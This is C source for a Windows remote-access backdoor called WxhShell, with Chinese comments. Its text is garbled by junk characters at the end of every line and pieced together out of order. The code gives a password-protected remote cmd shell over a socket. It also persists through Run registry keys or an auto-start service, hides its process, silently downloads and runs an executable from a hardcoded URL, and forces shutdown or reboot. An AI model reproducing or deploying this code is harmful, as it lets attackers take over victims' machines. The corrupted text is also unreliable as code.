    ExitThread(0); OO\UF6MCU  
    } LTJ|EXYA  
    break; ,rTR |>Z  
    } j[=f;&1  
  // 关机 SUvHLOA  
  case 'd': { r2H]n.MT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z{AfR2L  
    if(Boot(SHUTDOWN)) ;Hm\?n)a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wdp 4-*  
    else { QMkLAZ  
    closesocket(wsh); AoTL )',  
    ExitThread(0); J)o~FC]b*  
    } >r{,$)H0  
    break; qKWkgackP  
    } 7] ~'8  
  // 获取shell a0.)zgWr  
  case 's': { $r_z""eOc  
    CmdShell(wsh); NEK;'"  ~  
    closesocket(wsh); WxIP~  
    ExitThread(0); ~omX(kPzK  
    break; McA,  
  } TrHBbyqk  
  // 退出 z+wBZn{0I  
  case 'x': { 33 N5>}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3pl.<;9r  
    CloseIt(wsh); +fKLCzj  
    break; (\SxG\`  
    } GKm)wOb(*S  
  // 离开 < v0 d8  
  case 'q': { i\,#Z!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JJ[J'xl@  
    closesocket(wsh); ~sk 4v:-  
    WSACleanup(); v bh\uv&  
    exit(1); T#h`BtET[  
    break; ]Ub?Wo7F?  
        } q \0>SG  
  } $L;7SY?  
  } ;2& (]1X  
&o)j@5Y?  
  // 提示信息 {AQ3y,sh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wn|Sdp  
} !9V_U  
  } Soq 'B?>  
Riu0;U( \  
  return; UJlKw `4  
} .K:>`~<)  
8<IO X  
// shell模块句柄 3O$Q>.0w/  
int CmdShell(SOCKET sock) wVw3YIN#  
{ -w^E~J0*L  
STARTUPINFO si; p?5`+Z  
ZeroMemory(&si,sizeof(si)); /z~;.jRg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /|hKZTZJdN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MheP@ [w|@  
PROCESS_INFORMATION ProcessInfo; [ tm J6^s  
char cmdline[]="cmd"; +ZXk0sP_<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6Pd;I,k  
  return 0; DTgF,c  
} 6(X(f;MEl  
* 496"kU  
// 自身启动模式 C\ 9eR  
int StartFromService(void) H?^Poe(=(  
{ !=eui$]  
typedef struct I?5#Q0,b  
{ \>M3E  
  DWORD ExitStatus; J`V7FlM  
  DWORD PebBaseAddress; ,zz+s[ZH7O  
  DWORD AffinityMask; QnVYZUgJeV  
  DWORD BasePriority; L?<V KT  
  ULONG UniqueProcessId; >L5[dkg%  
  ULONG InheritedFromUniqueProcessId; 'TezUBRAz  
}   PROCESS_BASIC_INFORMATION; q[7C,o>/  
Z*x Q"+\  
PROCNTQSIP NtQueryInformationProcess; >`\~=ivrD  
YV 2T$#7u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tig`4d-%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >*k3D&  
2 ;U(r: ]  
  HANDLE             hProcess; mI9~\k&9  
  PROCESS_BASIC_INFORMATION pbi; l}K {=%U>7  
53@*GXzE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); beN0 ?G  
  if(NULL == hInst ) return 0; n$B=Vt,  
AfFF u\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7n}J}8Y*U2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lc#su$xR>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M)( 5S1ndq  
O-5H7Kd-  
  if (!NtQueryInformationProcess) return 0; SU Hyg/|F  
2["bS++?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )>C,y`,  
  if(!hProcess) return 0; eBBqF!WDb  
( *UMpdj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .@.O*n#K  
S 0,p:Wey  
  CloseHandle(hProcess); $hn #T#J3  
D3|y|Dr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LlrUJ-uC7  
if(hProcess==NULL) return 0; v#8{pr  
{OXKXRCa  
HMODULE hMod; iYEhrb  
char procName[255]; B_aLqB]U  
unsigned long cbNeeded; XcAx@CY9c  
,W'`rCxJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~C\R!DN,  
Q~MV0<{  
  CloseHandle(hProcess); U\*}}   
B>AmH%f/  
if(strstr(procName,"services")) return 1; // 以服务启动 x9hkE!{8  
dmgoVF_qR  
  return 0; // 注册表启动 I'Ui` :A  
} mG*[5?=r  
?h2!Z{[0b  
// 主模块 {U= Mfo?AH  
int StartWxhshell(LPSTR lpCmdLine) 2"cUBFc1I  
{ @A GM=v  
  SOCKET wsl; AvfSR p  
BOOL val=TRUE; ]+u`E  
  int port=0; ...|S]a  
  struct sockaddr_in door; =aX;-  
k?zw4S  
  if(wscfg.ws_autoins) Install(); 7_xQa$U[  
H$bu*o-Z  
port=atoi(lpCmdLine); Oi+9kk e  
Zi<Y?Vm/,O  
if(port<=0) port=wscfg.ws_port; qb'4x){  
e%Rg,dX  
  WSADATA data; cv})^E$x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4! ]28[2B6  
"#Qqwsw7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,l+lokD-#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~4IkQ|,  
  door.sin_family = AF_INET; U$-Gc[=|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j?<>y/IR  
  door.sin_port = htons(port); !6{; z/Hy  
qS1byqq78l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tk\?$n  
closesocket(wsl); Ac{"$P`  
return 1; 4HG;v|Cp  
} F6^Xi"R[  
n]{sBI3  
  if(listen(wsl,2) == INVALID_SOCKET) { P_6JweN  
closesocket(wsl); ,/*L|M/&5  
return 1; g-)izPX  
} &m<:&h& b  
  Wxhshell(wsl); zmaf@T  
  WSACleanup(); WD.td  
O1]L4V1iH  
return 0; i286 J.  
.{r0Szm.  
} Lmh4ezrdH  
e x" E50  
// 以NT服务方式启动 Cb:}AQ=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ilf;Q(*$>>  
{ W@S>#3,  
DWORD   status = 0; Dfz3\|LJ  
  DWORD   specificError = 0xfffffff; 9vX~gh{]~  
1j4tR#L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fib#)KE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rx[l7F q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FLf< gz  
  serviceStatus.dwWin32ExitCode     = 0; at<N?r  
  serviceStatus.dwServiceSpecificExitCode = 0; .:dy  d  
  serviceStatus.dwCheckPoint       = 0; %# M=qP  
  serviceStatus.dwWaitHint       = 0; <cig^B{nX  
^/c v8M=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <yNu/B.M  
  if (hServiceStatusHandle==0) return; d-k`DJ!  
K9 G1>*  
status = GetLastError(); ^W8kt  
  if (status!=NO_ERROR) ~F; ~  
{ Ov<EOK+^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )(CZK&<  
    serviceStatus.dwCheckPoint       = 0; cl,\N\  
    serviceStatus.dwWaitHint       = 0; IZ2(F,{o  
    serviceStatus.dwWin32ExitCode     = status; kz30! L  
    serviceStatus.dwServiceSpecificExitCode = specificError; P6G&3yPt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L'A9TW2  
    return; b9Fd}WZz  
  } "2m (*+  
,ICn]Pdz@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <A~a|A-QFR  
  serviceStatus.dwCheckPoint       = 0; d1]1bN4`"0  
  serviceStatus.dwWaitHint       = 0; ZsnFuk#W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &AUtUp kOo  
} =(aA`:Nl  
qnc?&f  
// 处理NT服务事件,比如:启动、停止 F x 4s)(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Wxeg(L}E  
{ !vfbgK  
switch(fdwControl) 8GN_ 3pT  
{ e #!YdXSx  
case SERVICE_CONTROL_STOP: E&z`BPd  
  serviceStatus.dwWin32ExitCode = 0; 1U?,}w   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Py72:;wn  
  serviceStatus.dwCheckPoint   = 0; `>1XL2  
  serviceStatus.dwWaitHint     = 0; W[VbFsI&b  
  { MJ?fMR@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-r5C5o,W  
  } 4>t'4p6{  
  return; 9'" F7>d  
case SERVICE_CONTROL_PAUSE: #Ch*a.tI@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <6rc 8jYz  
  break; '73g~T%$^*  
case SERVICE_CONTROL_CONTINUE: -Z(='A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q}xYme4  
  break; V$?@ z>7  
case SERVICE_CONTROL_INTERROGATE: y&&%%3  
  break; *"qS  
}; m8ApiGG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DWwPid} "  
} ]_5qME#N  
iVSN>APe  
// 标准应用程序主函数 Vu= e|A#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w\}@+w3b~  
{ m%s&$  
`uh+d  
// 获取操作系统版本 }mdk+IEt  
OsIsNt=GetOsVer(); G^%FP!'D?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MW|*Z{6*  
CM`B0[B  
  // 从命令行安装 p!Xn iY  
  if(strpbrk(lpCmdLine,"iI")) Install(); *}h#'+  
V1-URC24vd  
  // 下载执行文件 \8<ZPqt9  
if(wscfg.ws_downexe) { o|cx?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'c/S$_r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^&Vj m  
} /?Y]wY  
$a#-d;  
if(!OsIsNt) { 1DR ih>+#  
// 如果时win9x,隐藏进程并且设置为注册表启动 7 .y35y  
HideProc(); H.)Y*zK0.  
StartWxhshell(lpCmdLine); :9~LYJ ?  
} xf4CM,Z7(  
else xP7#`S6W  
  if(StartFromService()) Ys@OgdS@:  
  // 以服务方式启动 X#Sgf|$  
  StartServiceCtrlDispatcher(DispatchTable); KD* xFap  
else vrq5 +K&||  
  // 普通方式启动 %M5{-pJ|C  
  StartWxhshell(lpCmdLine); 93VbB[w~7F  
<ebC]2j8cK  
return 0; H3 >49;`  
} <Toy8-kj  
xOt {Vsv  
up!54}qy  
-T=sY/O  
=========================================== 8|) $;.  
S;K5JBX0#  
<~teD[1k"  
Ib(G!oO:E-  
G0Y]-*1  
kyH0J[/n  
" +~n4</  
U ATF}x   
#include <stdio.h> tjg?zlj  
#include <string.h> M(U<H;Csk  
#include <windows.h> - !QVM\t  
#include <winsock2.h> `$t|O&z  
#include <winsvc.h> POI|#[-V  
#include <urlmon.h> eq(1'?7]`G  
z7_h$v  
#pragma comment (lib, "Ws2_32.lib") 'm^]X3y*  
#pragma comment (lib, "urlmon.lib") u?rs6A[h#  
25Uw\rKeO  
#define MAX_USER   100 // 最大客户端连接数 puAjAvIax  
#define BUF_SOCK   200 // sock buffer ;_ S D W  
#define KEY_BUFF   255 // 输入 buffer . e_VPKF|  
e<$s~ UXv  
#define REBOOT     0   // 重启 A5E^1j}h@  
#define SHUTDOWN   1   // 关机 Yb\d(k$h  
7g>|e  
#define DEF_PORT   5000 // 监听端口  r m  
u<JkP <"S  
#define REG_LEN     16   // 注册表键长度 v^dQ%+}7>  
#define SVC_LEN     80   // NT服务名长度 4MrUo9L$s  
j6WDh}#  
// 从dll定义API kgHZaQnD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _BoYy JQH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \0n<6^y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oU|_(p"e|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YYhN>d$  
12@Ge]  
// wxhshell配置信息 ye-[l7  
struct WSCFG { vA2>&YDFX  
  int ws_port;         // 监听端口 =Eb$rc)  
  char ws_passstr[REG_LEN]; // 口令 WP{U9YF2  
  int ws_autoins;       // 安装标记, 1=yes 0=no A|( !\J0  
  char ws_regname[REG_LEN]; // 注册表键名 1i&|}"  
  char ws_svcname[REG_LEN]; // 服务名 q"i]&dMr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /@64xrvIl=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UPy 4ST  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 biG :Xn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M(1cf(<+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &2nICAN[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lnGg1/  
D63?f\  
}; pJ JOy  
i&q_h>ZT g  
// default Wxhshell configuration h_Ssm{C\  
struct WSCFG wscfg={DEF_PORT, \dbaY:(  
    "xuhuanlingzhe", ^CK D[s  
    1, 3^iVDbAW{  
    "Wxhshell", CfT(a!;Eox  
    "Wxhshell", 1)3'Y2N*  
            "WxhShell Service", mQ9y{}t=4  
    "Wrsky Windows CmdShell Service", Pk;1q?tGw  
    "Please Input Your Password: ", 'Ck:=V%}g  
  1, 8)>4ZNXz  
  "http://www.wrsky.com/wxhshell.exe", u2OrH3E4E3  
  "Wxhshell.exe" M8IU[Pz4  
    }; m%nRHT0KAf  
p|em_!H"SH  
// 消息定义模块 {e1sq^>|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yg6o#;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xiV!\Z}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ++eT 0  
char *msg_ws_ext="\n\rExit."; m/q`k  
char *msg_ws_end="\n\rQuit.";  U02  
char *msg_ws_boot="\n\rReboot..."; }~p%e2<  
char *msg_ws_poff="\n\rShutdown..."; \E'z+0  
char *msg_ws_down="\n\rSave to "; 1\)C;c,  
+R7pdi  
char *msg_ws_err="\n\rErr!"; n5#QQk2  
char *msg_ws_ok="\n\rOK!"; CM6! 1 7  
a)L|kux;l  
char ExeFile[MAX_PATH]; jZH4]^De  
int nUser = 0; Dw>)\\n{Kl  
HANDLE handles[MAX_USER]; gtIEpYN+  
int OsIsNt; lavy?tFer  
$wyPGok  
SERVICE_STATUS       serviceStatus; ^%m{yf#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4|4 *rhwp  
v4K! BW  
// 函数声明 q8uq%wf  
int Install(void); Dk&(QajL  
int Uninstall(void); ac6@E4 _  
int DownloadFile(char *sURL, SOCKET wsh); &- !$qUli  
int Boot(int flag); "$P/ek  
void HideProc(void); O0s,)8+z5D  
int GetOsVer(void); 1!yd(p=cL  
int Wxhshell(SOCKET wsl); <9\Lv]ng  
void TalkWithClient(void *cs); Vvp{y  
int CmdShell(SOCKET sock); 4 9HP2E  
int StartFromService(void); Mf !S'\  
int StartWxhshell(LPSTR lpCmdLine); bc NyB$S  
`sA xk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^*+j7A.n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 138v{Z  
Q`{Vs:8X  
// 数据结构和表定义  8hYl73#  
SERVICE_TABLE_ENTRY DispatchTable[] = &M tF  
{ lANi$ :aE  
{wscfg.ws_svcname, NTServiceMain}, v V;]?  
{NULL, NULL} H0jbG;  
}; Sy]W4%  
IwOL1\'T4  
// 自我安装 (zxL!ZR<  
int Install(void) :S}ZF$ $j%  
{ stMxlG"d  
  char svExeFile[MAX_PATH]; -8vGvI>  
  HKEY key; <FAbImE}  
  strcpy(svExeFile,ExeFile); B.KK@  
Aar]eY\  
// 如果是win9x系统,修改注册表设为自启动 TU;AO%5  
if(!OsIsNt) { Ups0Xg&{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m%UF{I,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5!pNo*QK  
  RegCloseKey(key); O3)B]!xL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K4H27SH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .tHjGx  
  RegCloseKey(key); }_-tJ.  
  return 0; 9P,[MZ  
    } !vVW8hbp  
  } C1(RgY|  
}  *M$mAy<  
else { N"tX K  
.3jijc j  
// 如果是NT以上系统,安装为系统服务 [z"oi'"fQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V|F/ynJfA  
if (schSCManager!=0) oB>#P-V  
{ :;TF_S v  
  SC_HANDLE schService = CreateService &x=_n'  
  ( xi4b;U j  
  schSCManager, g/WDAO?d  
  wscfg.ws_svcname, 3sIdwY)ZS_  
  wscfg.ws_svcdisp, 9V~hz (^  
  SERVICE_ALL_ACCESS, 6xY6EC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mKyF<1,m  
  SERVICE_AUTO_START, YMy**  
  SERVICE_ERROR_NORMAL, 7]Hf3]e>/  
  svExeFile, >wL!`:c'"  
  NULL, `:R9M+ OX  
  NULL, I[gPW7&S@  
  NULL, ]JvjM,  
  NULL, b|G~0[g  
  NULL U3-MvI,Q  
  ); 8|$g"? CU  
  if (schService!=0) lqgR4  !  
  { b|may/xWH  
  CloseServiceHandle(schService); [Jjo H1E@  
  CloseServiceHandle(schSCManager); pHye8v4fvi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n5efHJU  
  strcat(svExeFile,wscfg.ws_svcname); 6i~<,;Cn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PMX'vA`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #c"05/=A  
  RegCloseKey(key); :cIPX%S  
  return 0; /J Y6S  
    } >WJQxL4  
  } F&^&"(H}  
  CloseServiceHandle(schSCManager); K6)IBV;  
} 3q@H8%jcw  
} 69Z`mR  
#7sxb  
return 1; a;kiAJ'  
} F9tWJJUsr  
E7.{SGH}  
// 自我卸载 cVarvueS  
int Uninstall(void) \}<J>R@  
{ jq_4x[  
  HKEY key; *lu*h&Y  
0S }\ML  
if(!OsIsNt) { %F$ ]v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sj*W|n\gj  
  RegDeleteValue(key,wscfg.ws_regname); foY]RkW9  
  RegCloseKey(key); %s5( ''a.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !}c\u  
  RegDeleteValue(key,wscfg.ws_regname); D vN0h(?  
  RegCloseKey(key); Y t_t>  
  return 0; /xr75|-8  
  } KV'3\`v@LY  
} +# !?+'A  
} cg_tJ^vrY  
else { m(5LXH Jnv  
%m/5! "  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -]YsiE?r  
if (schSCManager!=0) 6Bd:R}yZP7  
{ (y\.uPu!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )(1tDQ`L>  
  if (schService!=0) {}gL*2:EW$  
  { ADP3Nic  
  if(DeleteService(schService)!=0) { ' %rn-|)  
  CloseServiceHandle(schService); '!4\H"t  
  CloseServiceHandle(schSCManager); _g D9oK  
  return 0; 1gvh6eE F  
  } W>,D$  
  CloseServiceHandle(schService); bGwj` lue  
  } zP@\rZ@4  
  CloseServiceHandle(schSCManager); &Ot9"Aq:  
} jH;L7  
} >>;He7  
 ;Yg/y  
return 1; <~svy)Cz  
} D$D;'Kij  
gF;C% }  
// 从指定url下载文件 ;qUd]c9oi  
int DownloadFile(char *sURL, SOCKET wsh) +K2HMf'  
{ |="Y3}a  
  HRESULT hr; b `cH.v  
char seps[]= "/"; w2`JFxQ^x  
char *token; u)/i$N  
char *file; EU Oa8Z  
char myURL[MAX_PATH]; k>E/)9%ep2  
char myFILE[MAX_PATH]; EIg:@o&Jj  
9):^[Wkx  
strcpy(myURL,sURL); q'Y)Y(d  
  token=strtok(myURL,seps); tqKX\N=5^  
  while(token!=NULL) (8~Hr?1B  
  { M{Vi4ehOq  
    file=token; [W dxMU  
  token=strtok(NULL,seps); ws,VO*4  
  } /$FpceB!W  
jT-tsQ .,  
GetCurrentDirectory(MAX_PATH,myFILE); />7G  
strcat(myFILE, "\\"); vv`53 Pbw)  
strcat(myFILE, file); \#"&S@%c  
  send(wsh,myFILE,strlen(myFILE),0); `{}DLaD9  
send(wsh,"...",3,0); WxtB:7J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mP_c-qD |  
  if(hr==S_OK) T{F 'Y%  
return 0; bHz H0v]:  
else 7q#R,\  
return 1; 8J2U UVA`1  
1%N[DA^<\  
} E/>kvs%  
7X.B  
// 系统电源模块 buMST&  
int Boot(int flag) 8Tp!b %2.  
{ j[fY.>yt&  
  HANDLE hToken; 4zqO!nk  
  TOKEN_PRIVILEGES tkp; ]sB%j@G  
KU.F4I8}q  
  if(OsIsNt) { QnIF{TS=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;7mE%1X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >WY\P4)k  
    tkp.PrivilegeCount = 1; X@:@1+U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^'hh?mL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4ZT0~37(  
if(flag==REBOOT) { qu/b:P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vUJQ<D  
  return 0; T2 XLP  
} )zo:Bo .<  
else { XhJYsq]]J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kfkcaj4l]  
  return 0; A_|X54}w&  
} _%PEv{H0.  
  } "!PN+gB  
  else { %9T|"\  
if(flag==REBOOT) { hoZM;wC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -1]8f  
  return 0; Q::_i"?c  
}  TsI%M  
else { ~J|B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q^oB`)k  
  return 0; 1u_< 1X3  
} '2S?4Z  
} g6;a2  
*orP{p -U  
return 1; 5uL!Ae  
} PO]c&}/  
5_Oxl6#  
// win9x进程隐藏模块 $`|\aXd[C*  
void HideProc(void) rL6Y4u0e%  
{ Uk0 0lPG.U  
9S<at MB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -AM(-  
  if ( hKernel != NULL ) H>|*D~RdT  
  { mP -Y9*k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y- @{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =_vW7-H  
    FreeLibrary(hKernel); Y| F~w~Cb  
  } 3t:/Guyom8  
)'axJ  
return; 70T{tB  
} ge$p/  
(aSY.#;  
// 获取操作系统版本 eq7>-Dmi@  
int GetOsVer(void) 7;Vqr$9)  
{ o=I.i>c  
  OSVERSIONINFO winfo; I{uwT5QT-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -zH` 9>J5|  
  GetVersionEx(&winfo); T9-2"M=|<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ECLQqjB  
  return 1; ]Jx_bs~g  
  else _"S1>s)X?j  
  return 0; t@3y9U$  
} KDJ-IXoU  
V})b.\"F  
// 客户端句柄模块 qnTW?c9Z5  
int Wxhshell(SOCKET wsl) _|s'0F/t  
{ ]}>uvl^l  
  SOCKET wsh; e c4vX  
  struct sockaddr_in client; ,g{Ob{qT  
  DWORD myID; K]C@seF`  
QK(w2`  
  while(nUser<MAX_USER) P] qL&_  
{ |HA1.Y=  
  int nSize=sizeof(client); x\'95qU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d\j[O9W>  
  if(wsh==INVALID_SOCKET) return 1; !ZzDSQ ;  
s=83a{#K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'XW9+jj)/  
if(handles[nUser]==0) wdQ%L4l  
  closesocket(wsh); )]3_o!o  
else {*AYhZ  
  nUser++; \jHIjFwQ  
  } roHJ$~q?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d9.~W5^fC  
"aJf W  
  return 0; V D.T=(  
} y}GFtRNG  
@Avve8S  
// 关闭 socket .[C@p`DZ  
void CloseIt(SOCKET wsh) 4LkW`Sbm  
{ 9; `E,w  
closesocket(wsh); $Lt'xW`8  
nUser--; )6:1`&6  
ExitThread(0); }C<$q  
} YzeNr*  
J @^Ypq  
// 客户端请求句柄 8>a%L?BY  
void TalkWithClient(void *cs) `tEW.s%Y(6  
{ I7Xm~w!{qk  
{&0u:  
  SOCKET wsh=(SOCKET)cs; `xF^9;5mi  
  char pwd[SVC_LEN]; ytyB:# J  
  char cmd[KEY_BUFF]; pMLTXqL  
char chr[1]; #(G"ya  
int i,j; V&Q_i E  
{Xv0=P  
  while (nUser < MAX_USER) { i.0.oy>  
H_d^Xk QZ  
if(wscfg.ws_passstr) { in#lpDa[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rIQ%X`Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fb\ E39  
  //ZeroMemory(pwd,KEY_BUFF); o3(:R0  
      i=0; ^~JF7u  
  while(i<SVC_LEN) { _Z_R\  
't3&,:Y  
  // 设置超时  {B7${AE  
  fd_set FdRead; >Q[3t79^  
  struct timeval TimeOut; pmgPBiU>  
  FD_ZERO(&FdRead); H_>9'(  
  FD_SET(wsh,&FdRead); *IWWD\U  
  TimeOut.tv_sec=8; i2l/y,UX  
  TimeOut.tv_usec=0; *1g3,NMA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @cu#rWiG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XNQPyZ2@|b  
C zb: nyRj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #R*7y%cO  
  pwd=chr[0]; %Z+FX,AK  
  if(chr[0]==0xd || chr[0]==0xa) { Fuy"JmeR  
  pwd=0; UOn:@Qn  
  break; {iYrC m[_  
  } 4n6t(/]b<  
  i++; R^&.:;Wi>  
    } fxknfgbg  
W?<<al*  
  // 如果是非法用户,关闭 socket __|Y59J%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (CInt_dBw~  
} e5#?@}?  
l- $5CO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;*njS1@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W:JR\KKU  
K@tELYb  
while(1) { g9@H4y6fe=  
1'f&  
  ZeroMemory(cmd,KEY_BUFF); =d#(n M*  
I+W:}}"j  
      // 自动支持客户端 telnet标准   Af Y ]i  
  j=0; }h1y^fuGi  
  while(j<KEY_BUFF) { W5Vh+'3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m,V"S(A  
  cmd[j]=chr[0]; ~Z' /b|x<3  
  if(chr[0]==0xa || chr[0]==0xd) { $ D.*r*c6  
  cmd[j]=0; %\T#Ik~3  
  break; <FfmDR  
  } F+)g!NQZ  
  j++; ujS C  
    } I(>j"H)cAF  
>!bw8lVV  
  // 下载文件 DO6 pv  
  if(strstr(cmd,"http://")) { .S[M: <<*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nr?CZFN#  
  if(DownloadFile(cmd,wsh)) ';xp+,'}\  
